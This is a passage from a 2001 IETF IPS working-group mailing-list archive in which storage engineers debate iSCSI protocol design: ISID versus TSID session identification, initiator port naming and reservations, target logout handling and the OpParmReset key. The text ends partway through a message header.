Hafner/Almaden/IBM@IBMUS@ece.cmu.edu on 09/28/2001 02:41:03 PM Sent by: owner-ips@ece.cmu.edu To: Black_David@emc.com, ips@ece.cmu.edu cc: Subject: Re: iSCSI: ISID issue David, See my reply to your other note on the "kicker" thread. But I have a comment here too. Regardless of how we go about this 'who assigns the SSID' question, we still have a fundamental question about what to map the SCSI Initiator Port to AND what its 'SCSI Initiator Port Name' should be. WIthout an initiator generated (or owned) name, we can't have such a beast (we can have SCSI Initiator Ports, but no name can be associated with them). That will prevent iSCSI from being able to take advantage of things that SCSI has so far and will in the future better enable because of persistent named initiator ports. The ISID was the most obvious thing to choose. Take that away and the whole thing has to get stirred up again. I sympathize with the issue of configuration. However, if we can't solve the iSCSI Initiator Name (IIN) problem (and avoid the FC Nodename debacle), then it's true that configuration of ISIDs will also be a problem. I was expecting that we can solve the IIN problem by defining at least a de facto standard that could be put in place today. I was hoping (perhaps naively) that we could solve the ISID allocation problem at the same time. The whole point of stating all this up front now was in hopes of 'learning from the FC mistakes'. Let me add that (from private discussions) I've come to realize that the current wording is perhaps not exactly reflective of the real requirement for ISIDs. The current wording says "partition". Some have come to interpret that as a static (once at boot, sort of) partition. That actually goes too far. What is really needed (from the model point of view) is a service in the iSCSI Node that allocates ISIDs for use by session creators in the initiator portal groups. Whether that is implemented passively by static configuration (static partition) or by dynamic partition (partitions can be reconfigured on the fly) or by an api to allocate on demand (on-line algorithm) - doesn't really matter. The relevant point is that something (at the node level) has to pass them out for use in session creation within the portal groups *in such a manner so as not to break the ISID RULE*. The static partition was one implementation that I thought was doable today. Perhaps such a service is untenable. If so, then I don't know that we can put any weight in the model to the notion of an iSCSI Initiator Node! If I can't have that simple function, there can't be any more complex functions like failover, error recovery, etc.. In any case, there is still open (as far as I know) the issue of "what happens if a parallel nexus is attempted" (regardless of the definition of SCSI Initiator Port). Jim Hafner Black_David@emc.com@ece.cmu.edu on 09/28/2001 12:17:43 pm Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: iSCSI: ISID issue Attempting to pick this back up, and selectively quoting from the (extensive) email on this topic, here's where I think we are on this. The issue is whether to eliminate ISIDs, so that iSCSI sessions are identified solely by target-assigned TSIDs. The underlying concern is reliability of coordination of ISIDs among independent iSCSI implementations that make up a single iSCSI Initiator (one iSCSI Initiator Name), as originally stated by Nick Martin: > In particular this enables independent agents within the same initiator to > attempt a login without knowing all ISIDs in use by other agents. Each > agent would know the ISID of sessions it had successfully established, but > not the ISIDs for sessions established by others. It can use the ISIDs it > knows to recover sessions it owns. If an agent gets a failure attempting to > establish a new session, it would pick a different ISID and retry (or just > quit), rather than disrupting a session of another agent. > > I have a big problem with A) where independent agents must know the ISIDs > established by others in order to do no harm. There have been a couple of attempts to address this by requiring ISID coordination to be done via administrative or OS means, and allowing arbitrary failures when it is not done correctly. Unfortunately, these attempts have failed to distinguish between incorrect/buggy iSCSI protocol implementations (which can cause all sorts of problems and arguably deserve whatever bad results they get) and administrative errors such as mis-entering a config parameter or miscopying a parameter from a hand-written configuration sheet (for which there is benefit in limiting the damage that results, as we can expect such errors to occur no matter how carefully iSCSI and its management tools are implemented). The first attempt was to mandate a management interface - Jim Hafner wrote: > ... mandate a management interface for setting/configuring ISID > partitions and the problem goes away of non-cooperating HBAs. We can definitely mandate the existence of such an interface (actually ISID configuration interfaces for each iSCSI implementation), but we cannot mandate their correct use in all circumstances. We could decide that it's ok for minor mistakes in using that interface to result in major damage, but that may not be the best design approach. The second attempt was to strongly encourage automatic configuration mechanisms in OS platforms - Jim Hafner wrote: > The whole reason we put in the draft the "SHOULD partition" ISIDs among > portal groups and why it is so prominent is to get all the people building > these components to agree NOW to the OS-specific mechanisms to achieve it. > First recognize the need and THEN to define the mechanism (and I've said > that the mechanism isn't hard, we (as vendors, not necessarily within the > specification) just have to agree on it). Much as I believe iSCSI is important, I think this is essentially an exercise in wishful thinking - the "SHOULD partition" warning seems akin to firing a BB pellet across the bow of an aircraft carrier - it will likely be ignored. I don't think iSCSI is in a position to drive this sort of change into existing OS device driver infrastructures - rather I think it's incumbent upon us to make sure that it can exist cleanly within them. Jim goes on to say: > We're trying to prevent exactly the problem David (I think) mentioned with > FW Nodenames never taking on the role they should have. We're posting > right up front an implementation (strong) recommendation to enable both > assignment of Initiator Name (from outside the HW or SW) and of ISIDs (from > outside the HW or SW). This enables the protocol to function at its best. > If people don't want to implement to this recommendation, then they'll pay > the price with either inter-vendor interoperability problems (not with the > wire but within a given initiator) or with much more complex management > issues (a la FC Portnames). And I'm concerned that having failed to learn from the Fibre Channel history, we may be condemned to repeat it. The cross-HBA interfaces to coordinate the Node WWN never came into existence despite the best intentions and efforts of those involved in Fibre Channel, and they would have been no more complex than the ISID coordination (e.g., find all the possible Node WWNs, pick the numerically smallest). An issue has been raised about why the Target is better suited to assign session IDs than the Initiator. I've seen at least two good answers to this - Eddy Quicksall points out that this is fundamentally about managing Target-controlled resources: > Now, I'm wondering why we are even trying to use the ISID to reset a session > when we should be using the TSID ... because the target can produce unique > TSIDs and use that to identify the session much more easily than using the > combination of InitiatorName and ISID. And Sandeep Joshi points out that Targets tend to have a single entity controlling their entire implementation, unlike Initiators: > ..the target may not be monolithic > but one assumes it would atleast be "monogenic" (single-vendor) > thereby enabling it to disallow multiple nexuses being > started with the same > > The monogenic property may not hold for initiators so > a scheme which works without HBA cooperation is preferred > over one which requires cooperation. I think Jim Hafner's "kicker" issue of T10 changing reservations to be associated only with SCSI Initiator Ports is a major problem for iSCSI *independent* of whether ISIDs exist or not -- I don't think keeping ISIDs in their current form is sufficient to address that issue and may in fact be the wrong way to go about it, as I'll explain in a separate message. I now believe this issue to be orthogonal to whether ISIDs remain, but folks will have to read that separate message to see whether they agree. So, after reviewing all the email on this, I definitely don't see consensus on whether to keep ISIDs, but I'm seriously concerned that we are repeating the mistake Fibre Channel made with Node Names and will suffer the resulting consequences - iSCSI Initiator Names will get bound to HBAs rather than OS images in order to make absolutely positively sure that ISID conflicts cannot happen. At the risk of starting yet another long discussion, comments? --David -------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 28 21:21:51 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA28438 for ; Fri, 28 Sep 2001 21:21:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8T0iLI16153 for ips-outgoing; Fri, 28 Sep 2001 20:44:21 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from calliope1.fm.intel.com (fmfdns01.fm.intel.com [132.233.247.10]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8T0iKP16148 for ; Fri, 28 Sep 2001 20:44:20 -0400 (EDT) Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by calliope1.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.43 2001/09/24 21:10:20 root Exp $) with SMTP id AAA17692 for ; Sat, 29 Sep 2001 00:44:19 GMT Received: from fmsmsx26.fm.intel.com ([132.233.42.26]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001092817435808817 for ; Fri, 28 Sep 2001 17:43:58 -0700 Received: by fmsmsx26.fm.intel.com with Internet Mail Service (5.5.2653.19) id ; Fri, 28 Sep 2001 17:45:31 -0700 Message-ID: <794826DE8867D411BAB8009027AE9EB90EDCEB19@FMSMSX38> From: "Curry, Jeff" To: ips@ece.cmu.edu Subject: remove Date: Fri, 28 Sep 2001 17:45:43 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk From owner-ips@ece.cmu.edu Fri Sep 28 21:24:52 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA28457 for ; Fri, 28 Sep 2001 21:24:51 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8T0nlf16452 for ips-outgoing; Fri, 28 Sep 2001 20:49:47 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8T0nkP16447 for ; Fri, 28 Sep 2001 20:49:46 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id UAA42184 for ; Fri, 28 Sep 2001 20:47:24 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8T0nif109850 for ; Fri, 28 Sep 2001 18:49:44 -0600 X-Priority: 1 (High) Importance: Normal Subject: Re: iSCSI: ISID kicker issue To: "Jim Hafner" Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 28 Sep 2001 17:48:59 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/28/2001 06:49:44 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Jim, You and David have gotten very esoteric on this topic. So let me step back a moment and see if I understood the kicker. I had thought that the SCSI folks were trying to come up with a way to say "If I reserve something to system x, it should not matter how many different session that system has with me, the reservations will apply to all." This tends to mean that the problems of managing such things in a wedge driver became some what easier. But you folks then spun down a path of having the application define what session it wanted to use, ..... I have never seen an application like that. Why are we spending time on that issue? All we want to do is have the persistence apply to the total system instead of a specific port. If that is the case then the Nexus is in effect bound to the iSCSI Initiator Node Name only, and not to the iSCSI Initiator Node Name + ISID. I think this should be straight forward to implement. I do not see the problem with the Kicker. However, you and David have been working so hard at this, I am afraid that I have missed something. Please lets try it again. How far off am I? . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Jim Hafner/Almaden/IBM@IBMUS@ece.cmu.edu on 09/28/2001 04:51:58 PM Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS, ips@ece.cmu.edu cc: Subject: Re: iSCSI: ISID issue John, On the surface, what you're proposing (having the target name the SCSI Initiator Port) at least gives the port an identity. But I wouldn't call it a name (persistent, immutable, etc). Besides, the target has no vested interest in reusing the ISID (and some resource issue in not). The initiator on the other hand may have a lot of reasons to "show the same face" for its side. The "kicker" is one of those reasons. The target can always use different ISIDs and never have to worry about support for the "kicker". Jim Hafner John Hufferd/San Jose/IBM@IBMUS@ece.cmu.edu on 09/28/2001 03:39:24 pm Sent by: owner-ips@ece.cmu.edu To: Jim Hafner/Almaden/IBM@IBMUS cc: ips@ece.cmu.edu Subject: Re: iSCSI: ISID issue Jim, You might consider the thing that passes out the ISID to be on the Target side. You folks all yelled at me about my manic desire to have the target assign both the ISID and the TSID, and saw no reason why we should not just call it SSID or SID. But let me try it again, and see if it helps this model. Suppose, in addition to the Target setting the TSID as it does today, it also assigns the ISID. Now since the Session is not established until we go into Full Featured Mode (before that it is only a connection), all you have really done is move the routine that you described as assigning the ISID, to a remote location. The Full Initiator session name (made up of the iSCSI Node Name and ISID) is technically established before there is a session. So it should be the same difference as far as your model goes, but you would have to keep the ISID as a separate item not just as a Target assigned SID. Does that seem right to you? . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Jim Hafner/Almaden/IBM@IBMUS@ece.cmu.edu on 09/28/2001 02:41:03 PM Sent by: owner-ips@ece.cmu.edu To: Black_David@emc.com, ips@ece.cmu.edu cc: Subject: Re: iSCSI: ISID issue David, See my reply to your other note on the "kicker" thread. But I have a comment here too. Regardless of how we go about this 'who assigns the SSID' question, we still have a fundamental question about what to map the SCSI Initiator Port to AND what its 'SCSI Initiator Port Name' should be. WIthout an initiator generated (or owned) name, we can't have such a beast (we can have SCSI Initiator Ports, but no name can be associated with them). That will prevent iSCSI from being able to take advantage of things that SCSI has so far and will in the future better enable because of persistent named initiator ports. The ISID was the most obvious thing to choose. Take that away and the whole thing has to get stirred up again. I sympathize with the issue of configuration. However, if we can't solve the iSCSI Initiator Name (IIN) problem (and avoid the FC Nodename debacle), then it's true that configuration of ISIDs will also be a problem. I was expecting that we can solve the IIN problem by defining at least a de facto standard that could be put in place today. I was hoping (perhaps naively) that we could solve the ISID allocation problem at the same time. The whole point of stating all this up front now was in hopes of 'learning from the FC mistakes'. Let me add that (from private discussions) I've come to realize that the current wording is perhaps not exactly reflective of the real requirement for ISIDs. The current wording says "partition". Some have come to interpret that as a static (once at boot, sort of) partition. That actually goes too far. What is really needed (from the model point of view) is a service in the iSCSI Node that allocates ISIDs for use by session creators in the initiator portal groups. Whether that is implemented passively by static configuration (static partition) or by dynamic partition (partitions can be reconfigured on the fly) or by an api to allocate on demand (on-line algorithm) - doesn't really matter. The relevant point is that something (at the node level) has to pass them out for use in session creation within the portal groups *in such a manner so as not to break the ISID RULE*. The static partition was one implementation that I thought was doable today. Perhaps such a service is untenable. If so, then I don't know that we can put any weight in the model to the notion of an iSCSI Initiator Node! If I can't have that simple function, there can't be any more complex functions like failover, error recovery, etc.. In any case, there is still open (as far as I know) the issue of "what happens if a parallel nexus is attempted" (regardless of the definition of SCSI Initiator Port). Jim Hafner Black_David@emc.com@ece.cmu.edu on 09/28/2001 12:17:43 pm Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: iSCSI: ISID issue Attempting to pick this back up, and selectively quoting from the (extensive) email on this topic, here's where I think we are on this. The issue is whether to eliminate ISIDs, so that iSCSI sessions are identified solely by target-assigned TSIDs. The underlying concern is reliability of coordination of ISIDs among independent iSCSI implementations that make up a single iSCSI Initiator (one iSCSI Initiator Name), as originally stated by Nick Martin: > In particular this enables independent agents within the same initiator to > attempt a login without knowing all ISIDs in use by other agents. Each > agent would know the ISID of sessions it had successfully established, but > not the ISIDs for sessions established by others. It can use the ISIDs it > knows to recover sessions it owns. If an agent gets a failure attempting to > establish a new session, it would pick a different ISID and retry (or just > quit), rather than disrupting a session of another agent. > > I have a big problem with A) where independent agents must know the ISIDs > established by others in order to do no harm. There have been a couple of attempts to address this by requiring ISID coordination to be done via administrative or OS means, and allowing arbitrary failures when it is not done correctly. Unfortunately, these attempts have failed to distinguish between incorrect/buggy iSCSI protocol implementations (which can cause all sorts of problems and arguably deserve whatever bad results they get) and administrative errors such as mis-entering a config parameter or miscopying a parameter from a hand-written configuration sheet (for which there is benefit in limiting the damage that results, as we can expect such errors to occur no matter how carefully iSCSI and its management tools are implemented). The first attempt was to mandate a management interface - Jim Hafner wrote: > ... mandate a management interface for setting/configuring ISID > partitions and the problem goes away of non-cooperating HBAs. We can definitely mandate the existence of such an interface (actually ISID configuration interfaces for each iSCSI implementation), but we cannot mandate their correct use in all circumstances. We could decide that it's ok for minor mistakes in using that interface to result in major damage, but that may not be the best design approach. The second attempt was to strongly encourage automatic configuration mechanisms in OS platforms - Jim Hafner wrote: > The whole reason we put in the draft the "SHOULD partition" ISIDs among > portal groups and why it is so prominent is to get all the people building > these components to agree NOW to the OS-specific mechanisms to achieve it. > First recognize the need and THEN to define the mechanism (and I've said > that the mechanism isn't hard, we (as vendors, not necessarily within the > specification) just have to agree on it). Much as I believe iSCSI is important, I think this is essentially an exercise in wishful thinking - the "SHOULD partition" warning seems akin to firing a BB pellet across the bow of an aircraft carrier - it will likely be ignored. I don't think iSCSI is in a position to drive this sort of change into existing OS device driver infrastructures - rather I think it's incumbent upon us to make sure that it can exist cleanly within them. Jim goes on to say: > We're trying to prevent exactly the problem David (I think) mentioned with > FW Nodenames never taking on the role they should have. We're posting > right up front an implementation (strong) recommendation to enable both > assignment of Initiator Name (from outside the HW or SW) and of ISIDs (from > outside the HW or SW). This enables the protocol to function at its best. > If people don't want to implement to this recommendation, then they'll pay > the price with either inter-vendor interoperability problems (not with the > wire but within a given initiator) or with much more complex management > issues (a la FC Portnames). And I'm concerned that having failed to learn from the Fibre Channel history, we may be condemned to repeat it. The cross-HBA interfaces to coordinate the Node WWN never came into existence despite the best intentions and efforts of those involved in Fibre Channel, and they would have been no more complex than the ISID coordination (e.g., find all the possible Node WWNs, pick the numerically smallest). An issue has been raised about why the Target is better suited to assign session IDs than the Initiator. I've seen at least two good answers to this - Eddy Quicksall points out that this is fundamentally about managing Target-controlled resources: > Now, I'm wondering why we are even trying to use the ISID to reset a session > when we should be using the TSID ... because the target can produce unique > TSIDs and use that to identify the session much more easily than using the > combination of InitiatorName and ISID. And Sandeep Joshi points out that Targets tend to have a single entity controlling their entire implementation, unlike Initiators: > ..the target may not be monolithic > but one assumes it would atleast be "monogenic" (single-vendor) > thereby enabling it to disallow multiple nexuses being > started with the same > > The monogenic property may not hold for initiators so > a scheme which works without HBA cooperation is preferred > over one which requires cooperation. I think Jim Hafner's "kicker" issue of T10 changing reservations to be associated only with SCSI Initiator Ports is a major problem for iSCSI *independent* of whether ISIDs exist or not -- I don't think keeping ISIDs in their current form is sufficient to address that issue and may in fact be the wrong way to go about it, as I'll explain in a separate message. I now believe this issue to be orthogonal to whether ISIDs remain, but folks will have to read that separate message to see whether they agree. So, after reviewing all the email on this, I definitely don't see consensus on whether to keep ISIDs, but I'm seriously concerned that we are repeating the mistake Fibre Channel made with Node Names and will suffer the resulting consequences - iSCSI Initiator Names will get bound to HBAs rather than OS images in order to make absolutely positively sure that ISID conflicts cannot happen. At the risk of starting yet another long discussion, comments? --David -------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 28 21:31:18 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA28527 for ; Fri, 28 Sep 2001 21:31:18 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8T18XM17418 for ips-outgoing; Fri, 28 Sep 2001 21:08:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8T18NP17408 for ; Fri, 28 Sep 2001 21:08:32 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel11.hp.com (Postfix) with ESMTP id 4DFD51F5FA for ; Fri, 28 Sep 2001 18:08:07 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id SAA12592 for ; Fri, 28 Sep 2001 18:08:03 -0700 (PDT) Message-ID: <3BB52089.63327FBA@cup.hp.com> Date: Fri, 28 Sep 2001 18:14:49 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: iscsi : how should a target process a logout ? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit All, Please refer Rev 7.98 Section 3.14 on logout : "After receiving the Logout command the target completes all pending commands (device activity, data to/from the initiator, R2T and status transfers) that it deems fit to conclude, and then issues the Logout response and half-closes the TCP connection (sends FIN)." I object to the following wording : "target completes all pending commands (device activity, data to/from the initiator, R2T and status transfers) that it deems fit to conclude" The above seems to imply that the target is supposed to continue processing the pending commands and only upon their completion would it send a logout response. I suggest that the above wording be removed and something in its place be added to indicate clearly that a target MUST : - abort all pending I/Os on that connection/session if the logout reason code is "close the connection", " or "close the session" respectively. - transfer the allegiance of all pending commands on that connection if the logout reason code is "remove the connection for recovery". - NOT send back scsi response for any aborted I/Os. The logout response implicitly terminates all the pending I/Os on that connection, [or session, if the session is being logged out.] - NOT send any further PDUs to the initiator, other than the response to the logout. Comments ? Thanks, Santosh -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Fri Sep 28 23:52:42 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA02090 for ; Fri, 28 Sep 2001 23:52:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8T2suf22300 for ips-outgoing; Fri, 28 Sep 2001 22:54:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8T2seP22288 for ; Fri, 28 Sep 2001 22:54:40 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by palrel11.hp.com (Postfix) with ESMTP id D279A1F559 for ; Fri, 28 Sep 2001 19:54:34 -0700 (PDT) Received: from rose.hp.com (hpsil34.rose.hp.com [15.43.211.225]) by core.rose.hp.com with ESMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id TAA29272 for ; Fri, 28 Sep 2001 19:55:56 -0700 (PDT) Message-Id: <200109290255.TAA29272@core.rose.hp.com> Date: Fri, 28 Sep 2001 20:06:06 -0700 From: "Mallikarjun C." Reply-To: cbm@rose.hp.com Organization: Hewlett-Packard, Roseville X-Mailer: Mozilla 4.73 [en] (X11; U; HP-UX B.10.20 9000/715) X-Accept-Language: en MIME-Version: 1.0 To: ips Subject: Re: iscsi : OpParmreset References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, Thanks for incorporating the suggestion in 07-99 as the change log indicates. However, I see that my option (b) for the initiator is still allowed (empty text command abort)in 3.11.3. Is there an unrelated reason for that? Thanks. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Julian Satran wrote: > > Mallikarjun, > > What you are suggesting is: > > abort for the initiator > > reject for the target. > > It is feasible but not nice. > > Let me think if we can have a better alternative. > > 07-98 still has OpParmReset. > > Julo > > > "Mallikarjun > C." To: ips > om> Subject: Re: iscsi : OpParmreset > Sent by: > owner-ips@ece. > cmu.edu > > > 27-09-01 19:10 > Please respond > to cbm > > > > Julian, > > > >From your answer it looks like you agree that we need a way to > reset/abort > > a negotiation > > Sure, I agree we need a mechanism. > > >but you object to the OpParmReset. > > Not specifically. I was only concerned that there seem to be several > ways of aborting/terminating a negotiation. I can count three > mechanisms > for initiator - > a) Abort Task > b) Empty text command with TTT=0xffffffff > c) OpParmReset > > And two for the target - > a) Timing out the bookmark state, and Reject ("no bookmark for > this ITT" - 0x09) the TTT. > b) OpParmReset > > I suggest that we retain only the option-(a)'s for both, and > drop the rest. For this to happen, the case (b) for initiator > should probably be a Reject("Illegal bookmark") - since as you > say, it does seem ambiguous. > > Regards. > -- > Mallikarjun > > Mallikarjun Chadalapaka > Networked Storage Architecture > Network Storage Solutions Organization > MS 5668 Hewlett-Packard, Roseville. > cbm@rose.hp.com > > Julian Satran wrote: > > > > Mallikarjun, > > > > >From your answer it looks like you agree that we need a way to > reset/abort > > a negotiation but you object to the OpParmReset. > > Abort task has the disadvantage that the target can't issue it (so that > > the target has no means to force an abort). > > An empty task request or response is ambiguous. > > We could introduce a binary field meaning goon/abort? Is that better > that > > OpParmReset (by which we can always introduce a richer semantics - like > > rest to default). > > > > Julo > > > > > > "Mallikarjun > > C." To: ips > > > om> Subject: Re: iscsi : > OpParmreset > > Sent by: > > owner-ips@ece. > > cmu.edu > > > > > > 27-09-01 03:26 > > Please respond > > to cbm > > > > > > > > Julian, > > > > I assume you mean terminate/end a negotiation by "rest a > > negotiaion". If so, I can see two more ways to do the same - > > - aborting the task (changes from rev06 to rev07), > > - sending an empty text command with TTT=0xffffffff. > > > > Either should undo the results of the partial negotiation > > in FFP, as we described in "Negotiation failures" section. > > During the login, as Matthew pointed out, we don't seem to > > need OpParmReset either. > > > > Can you please confirm if you see the same choices? If so, > > I do not see the need for OpParmReset. > > > > Regards. > > -- > > Mallikarjun > > > > Mallikarjun Chadalapaka > > Networked Storage Architecture > > Network Storage Solutions Organization > > MS 5668 Hewlett-Packard, Roseville. > > cbm@rose.hp.com > > > > Julian Satran wrote: > > > > > > OpParmReset is the only way we have now to rest a negotiation in FFP > > > (public or vendor specific). > > > The restriction about R2T is related to a deadlock that can result when > > you > > > change from no to yes. > > > > > > Julo > > > > > > > > > "BURBRIDGE,MATTH > > > EW To: Julian > > Satran/Haifa/IBM@IBMIL, > > > (HP-UnitedKingdo ips@ece.cmu.edu > > > m,ex2)" cc: > > > > OpParmreset > > > ge@hp.com> > > > Sent by: > > > owner-ips@ece.cm > > > u.edu > > > > > > > > > 24-09-01 13:36 > > > Please respond > > > to > > > "BURBRIDGE,MATTH > > > EW > > > (HP-UnitedKingdo > > > m,ex2)" > > > > > > > > > > > > Is OpParmReset still needed now that there is no operational parameter > > > negotiation until after the security phase? Why would both sides > > > negoitiate > > > a set of parameters only for one side to reset. Surely if one side > > during > > > login is not happy then it should close the connection. In FFP, as > there > > > is > > > no way to re-negotiate (after the OpParmReset) again if one side is not > > > happy then should it not close the connection and start a new one. > > > > > > Also if in FFP, if OpParmReset is sent then does it just reset those > > > parameters that can be negoiated during FFP and not those restricted to > > the > > > login phase? If so would it be easier to negotiate those parameters > > using > > > the explicit name (e.g. InitialR2T) and remove the restriction of > > (example) > > > "Once set to no, it can not be set back to yes" - as this is what using > > > OpParmReset permits. > > > > > > Matthew > > > > > > -----Original Message----- > > > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > > > Sent: Friday, September 21, 2001 4:34 PM > > > To: ips@ece.cmu.edu > > > Subject: Re: iscsi : OpParmreset > > > > > > Santosh, > > > > > > The main purpose of this key was to explicitly cancel the effects of a > > > running negotiation and restart anew. > > > As the draft stands now there is no much difference between the two - > but > > > on basic principles the purposes are different (as you well stated). > We > > > may change the value to be: > > > > > > OpParmReset= > > > > > > to accommodate both semantics. > > > > > > Julo > > > > > > Santosh Rao > > > > > > > > > > > hp.com> cc: > > > > > > Sent by: Subject: iscsi : > OpParmreset > > > > > > owner-ips@ece. > > > > > > cmu.edu > > > > > > 20-09-01 22:19 > > > > > > Please respond > > > > > > to Santosh Rao > > > > > > All, > > > > > > Please refer the definition of OpParmReset login key. > > > > > > " 30 OpParmReset > > > > > > OpParmReset enables an Initiator or Target to request the operational > > > parameters to be reset to the values they had before the negotiation." > > > > > > I suggest that the definition be re-worded to state that the > OpParmReset > > > enables an initiator or target to reset the operational parameters to > > > their DEFAULT VALUES. [instead of the current definition that states > > > that the parameters are reset to the values they had prior to the > > > current negotiation.] > > > > > > The current definition requires the initiator to maintain 2 sets of > > > operational parameter values, the current and the previous. In the case > > > where initiator is just booting up, if the target sets OpParmReset to > > > "yes", the initiator does not know what to set the op params to, since > > > it has lost its prior state information. > > > > > > Comments ? > > > > > > Thanks, > > > Santosh > > > > > > - santoshr.vcf From owner-ips@ece.cmu.edu Sat Sep 29 02:46:06 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA16143 for ; Sat, 29 Sep 2001 02:46:05 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8T65N600440 for ips-outgoing; Sat, 29 Sep 2001 02:05:23 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8T65KP00435 for ; Sat, 29 Sep 2001 02:05:21 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id IAA99528 for ; Sat, 29 Sep 2001 08:05:13 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8T65Cw58198 for ; Sat, 29 Sep 2001 08:05:12 +0200 Subject: RE: iscsi : iscsi parameter default values To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 